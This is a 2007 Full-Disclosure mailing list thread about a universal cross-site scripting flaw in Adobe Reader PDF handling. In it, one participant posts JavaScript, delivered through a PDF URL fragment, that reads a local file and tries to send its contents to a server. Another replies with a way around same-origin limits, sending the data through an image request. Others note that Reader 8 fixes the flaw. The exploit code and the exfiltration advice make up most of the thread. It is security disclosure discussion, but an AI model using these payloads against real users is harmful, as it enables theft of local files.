Re: Universal XSS with PDF files: highly dangerous

["pdp (architect)" <pdp.gnucitizen () googlemail com>]

I just skimmed through your code very quickly and I noticed a single
problem. Don't send the captured data with another XHR (xhr2). Use
images.

var img = new Image()
img.src = url;

this should work.

On 1/4/07, T Biehn <tbiehn () gmail com> wrote:
> I'm trying to put together a demonstration of this vulnerability, and how it
> could effect corporate security, however I'm encountering a large hangup
> when sending a file 'back' to the webserver, the browser same origin policy
> denies me the ability to send files to a different domain, which afaik is
> necessary for an external attacker to properly exploit this vulnerability:
>
> Here's the code I have so far, based more or less on PDP's
>
> Vanilla, almost' PDP's (different url, spaces removed etc.)
> file:///C:/Program Files/Adobe/Acrobat
> 6.0/Resource/ENUtxt.pdf#something=javascript:function
> cXHR(){try{return new ActiveXObject('Msxml2.XMLHTTP');}catch(e){}try{return
> new ActiveXObject('Microsoft.XMLHTTP');}catch(e){}try{return new
> XMLHttpRequest();}catch(e){} return null;}var xhr =
> cXHR();xhr.onreadystatechange = function(){if ( xhr.readyState ==
> 4)alert(xhr.responseText);};xhr.open('GET', 'file:///C:/Program
> Files/Adobe/Acrobat 6.0/ReadMe.htm', true);xhr.send(null);
>
> What I'm trying to do:
> file:///C:/Program Files/Adobe/Acrobat
> 6.0/Resource/ENUtxt.pdf#something=javascript:function
> cXHR(){try{return new ActiveXObject('Msxml2.XMLHTTP');}catch(e){}try{return
> new ActiveXObject(' Microsoft.XMLHTTP');}catch(e){}try{return new
> XMLHttpRequest();}catch(e){} return null;}var xhr = cXHR();var xhr2 =
> cXHR();xhr.onreadystatechange = function(){if (xhr.readyState ==
> 4){alert(xhr.responseText);xhr2.open('GET', '
> http://localhost:80/whatever.htm?content=&apos; +
> xhr.responseText);xhr2.onreadystatechage = function(){alert('File
> Transferred!');};xhr2.send(null);}};xhr.open('GET', '
> file:///C:/Program Files/Adobe/Acrobat 6.0/ReadMe.htm',
> true);xhr.send(null);
>
> Now, one would think that the LOCAL file operating mode of IE would allow
> the cross domain XHR request, however this does not work (tested IE 6) I
> think because by default IE disallows Javascript access on the local
> context.
>
> Try putting this is IE:
> file:///C:/Program%20Files/Adobe/Acrobat%206.0/Resource/ENUtxt.pdf#something=javascript:alert('lol')
> ;
> and then try it in FireFox
>
> It won't work in IE 6, but it executes just fine in FireFox.
>
> function cXHR(){ //Grabs a legit XHR.
>     try{
>         return new ActiveXObject('Msxml2.XMLHTTP');
>     }catch(e){}
>     try{
>         return new ActiveXObject('Microsoft.XMLHTTP');
>     }catch(e){}
>     try{
>         return new XMLHttpRequest();
>     }catch(e){}
>     return null;
> }
> var xhr = cXHR(); //For grabbing
> var xhr2 = cXHR(); //For sending
> xhr.onreadystatechange = function(){
>     if (xhr.readyState == 4){
>         alert(xhr.responseText);
>         xhr2.open('GET', '
> http://localhost:80/whatever.htm?content=&apos; +
> xhr.responseText); //Send it up, yo.
>         xhr2.onreadystatechage = function(){
>             alert('File Transferred!');
>         };
>         xhr2.send (null);
>     }
> };
> xhr.open('GET', 'file:///C:/Program Files/Adobe/Acrobat 6.0/ReadMe.htm',
> true);
> xhr.send(null);
>
> Anyone's input on this matter would be appreciated.
>
>
> On 1/4/07, Juha-Matti Laurio <juha-matti.laurio () netti fi> wrote:
> > Additionally, the public PoC doesn't work on Preview version 3.0.8 (409)
> on OS X 10.4.8.
> > - Juha-Matti
> >
> > Larry Seltzer <Larry () larryseltzer com> wrote:
> > > > > "According to public reports, this vulnerability is addressed in Adobe
> > > Acrobat Reader 8.0."
> > >
> > > I've actually tested it. On Reader 8 Acrobat you get a messagebox that
> > > says "This operation is not allowed"
> > >
> > > Larry Seltzer
> > > eWEEK.com Security Center Editor
> > > http://security.eweek.com/
> > > http://blog.eweek.com/blogs/larry%5Fseltzer/
> > > Contributing Editor, PC Magazine
> > > larryseltzer () ziffdavis com
> >
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> > Full-Disclosure - We believe in it.
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-- 
pdp (architect) | petko d. petkov
http://www.gnucitizen.org

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